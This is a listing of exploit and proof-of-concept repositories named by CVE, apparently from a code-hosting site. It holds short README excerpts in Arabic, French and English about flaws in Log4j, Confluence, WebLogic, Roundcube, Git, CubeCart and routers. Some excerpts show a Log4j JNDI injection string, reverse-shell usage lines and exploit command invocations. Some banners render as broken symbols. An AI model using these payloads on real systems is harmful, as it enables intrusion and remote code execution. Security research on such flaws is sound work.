CVE-2024-34102

CVE-2024-34102 ★ شكرًا لـ @th3gokul وSanjaith3hacker وChocapikk على الكود الأصلي. ★ الوصف CVE-2024-34102 : ثغرة XXE في Adobe Commerce الوصف: الإصدارات 2.4.7 و2.4.6-p5 و2.4.5-p7 و2.4.4-p8 وما قبلها من Adobe Commerce متأثرة بثغرة التقييد غير السليم لمرجع الكيان الخارجي XML 'XXE' التي قد تؤدي إلى...

CVE-2022-36234

وصف CVE-2022-36234 اكتُشف أن خادم SimpleNetwork TCP Server في commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 يحتوي على ثغرة تحرير مزدوج double free يمكن استغلالها عبر حزم TCP مصممة خصيصًا. سيسمح تفعيل التحرير المزدوج للعملاء بتعطيل أي خادم SimpleNetwork TCP عن بُعد. وفي حالات أخرى، يمكن لثغرات...

CVE-2021-26084_Confluence

CVE-2021-26084 - حقن OGNL في Confluence Server Webwork توجد ثغرة حقن OGNL تسمح لمستخدم مصادق، وفي بعض الحالات لمستخدم غير مصادق، بتنفيذ تعليمات برمجية عشوائية على خادم Confluence أو مثيل Data Center. مهم هذا الاستغلال مخصّص فقط لتسهيل عروض توضيح الثغرة من قبل الباحثين. أنا أستنكر الأعمال غير...

CVE-2024-6330

CVE-2024-6330 GEO my WordPress ivv900fnzbln0dem43z7zmzjjgigz...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228 تنفيذ التعليمات البرمجية عن بُعد في Apache Log4j جميع إصدارات log4j-core =2.0-beta9 و لا تعتمد على إصدار Java الحالي لإنقاذك. قم بتحديث Log4j أو إزالة البحث عن JNDI. قم بتعطيل التوسع يبدو فكرة سيئة على أي حال. تجاوز rc1 على سبيل المثال: $jndi:ldap://127.0.0.1:1389/ badClassName تجا...

CVE-2017-12636

CVE-2017-12636 الاستخدام: python3 exp.py target version1.6|2.1 reverseip reverseport / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / / | /// /...

CVE-2023-30459

CVE-2023-30459 يسمح SmartPTT SCADA 1.1.0.0 بتنفيذ الأوامر عن بُعد عندما يكون لدى المهاجم صلاحيات المسؤول عن طريق كتابة سكربت C ضار وتنفيذه على الخادم عبر إعدادات الخادم في لوحة تحكم المسؤول على المنفذ 8101، بشكل افتراضي. كيفية الاستخدام: python CVE-2023-30459.py -t 127.0.0.1 -p elcomplus -cmd...

CVE-2023-38408

ثغرة OpenSSH - CVE-2023-38408 📚 مقدمة تم العثور على ثغرة في OpenSSH قبل الإصدار 9.3p2. تحتوي ميزة PKCS11 في ssh-agent في OpenSSH على مسار بحث غير موثوق بما يكفي، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد إذا تم توجيه الوكيل إلى نظام يتحكم فيه المهاجم الكود في /usr/lib ليس بالضرورة آمنًا للتحميل ف...

TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation

TRAI-001 CVE-2025-30065: محاكي استغلال تنفيذ التعليمات البرمجية عن بُعد RCE في Apache Parquet لقطة شاشة تجريبية واجهة المحاكي توضح سلسلة الاستغلال 📌 نظرة عامة يحتوي هذا المستودع على محاكاة تعليمية لثغرة CVE-2025-30065، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في ملفات Apache Parquet. تعرض...

CVE-2022-47986

CVE-2022-47986 Pourquoi Cette vulnérabilité est exploitée activement. IceFire utilise cette vulnérabilité pour déployer le ransomware sur les systèmes ciblés. Je souhaite aider les équipes SOC/Blue à identifier les systèmes impactés et les équipes Pentesters/Red à l'exploiter et à la signaler...

CVE-2025-49113-exploit

CVE-2025-49113 - تنفيذ كود عن بعد في Roundcube إثبات مفهوم لاستغلال الثغرة CVE-2025-49113، وهي ثغرة تنفيذ كود عن بعد في بريد Roundcube الإلكتروني. الوصف يستهدف هذا الاستغلال ثغرة في إلغاء التسلسل في إصدارات Roundcube Webmail من 1.5.0 إلى 1.6.10. تسمح الثغرة لمهاجم موثوق بتنفيذ كود عشوائي على...

cve-2024-32002-poc-rce

CVE-2024-32002 POC لتنفيذ الأوامر عن بعد RCE POC لـ CVE-2024-32002 يوضح تنفيذ الأوامر عن بعد RCE. انظر cve-2024-32002-poc-rce لمستودع الوحدة الفرعية المرتبطة. ما يحتويه هذا المستودع رابط رمزي symlink باسم عشوائي يشير إلى مجلد .git. ملف .gitmodules يعرّف الوحدة الفرعية الضارة. كيفية إعادة إنشاء هذ...

CVE-2024-33438

رفع ملف تعسفي يؤدي إلى تنفيذ تعليمات برمجية عن بُعد CVE-2024-33438 CubeCart بعد تشغيله، هذا هو المخرجات المتوقعة لاستغلال ناجح: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... + Trying to log int...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy بيئة الاختبار-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md ملاحظة: نظرًا لوجود خادم RMI بعيد على الشبكة الخارجية، فإن الحصول على shell يكون سهلاً للغاية؛ أما إذا كنت على الشبكة الداخلية، فستحتاج...

CVE-2026-32475

PoC CVE-2026-32475 : Téléversement arbitraire de fichier non authentifié vers RCE dans Elementor Pro Téléversement arbitraire de fichier avant authentification menant à l'exécution de code à distance dans Elementor Pro Preuve de concept pour CVE-2026-32475, un téléversement arbitraire de fichier...

CVE-2018-8941

CVE-2018-8941: D-Link DSL-3782 تنفيذ كود إثبات الفكرة آدم سيمونتيس :: https://twitter.com/adamsimuntis ميندوغاس سلوشنيس :: https://twitter.com/mislusnys تم العثور على ثغرة تجاوز سعة المخزن المؤقت في الملف الثنائي "/userfs/bin/tcapi" والذي يُستخدم كغلاف لوظيفة "التشخيص" في واجهة الويب الرسومية. يم...

CVE-2023-52251-POC

CVE-2023-52251-POC Il existe une vulnérabilité d'exécution de code à distance dans provectus/kafka-ui. Aucun correctif n'est disponible au moment de la rédaction, mais le fournisseur a été notifié par nos soins ainsi que par l'équipe de VINCE sans aucune réponse. Le rapport a été envoyé le 27...

Router-Exploit-Shovel

Router Exploit Shovel Automated Application Generation for Stack Overflow Types on Wireless Routers Router exploits shovel is an automated application generation tool for stack overflow types on wireless routers. The tool implements the key functions of exploits, it can adapt to the length of the...

CVE-2018-3191

Weblogic-CVE-2018-3191 ثغرة تنفيذ الأوامر البرمجية عن بُعد بيئة weblogic لـ Docker 0x00 مقدمة في 17 أكتوبر بتوقيت بكين، قامت Oracle بإصلاح ثغرة عالية الخطورة لتنفيذ الأوامر البرمجية عن بُعد في WebLogic CVE-2018-3191 في تحديث التصحيح الحاسم لشهر أكتوبر Critical Patch Update. تسمح هذه الثغرة...

Cable-modems

Analyse des modems WiFi des FAI Aperçu SEARCH-LAB Ltd a évalué cinq modèles de passerelles domestiques, tous utilisés par de nombreux fournisseurs d'accès Internet dans le monde, mais les appareils réels ont été exploités par l'un des opérateurs de télévision par câble hongrois, UPC Magyarország...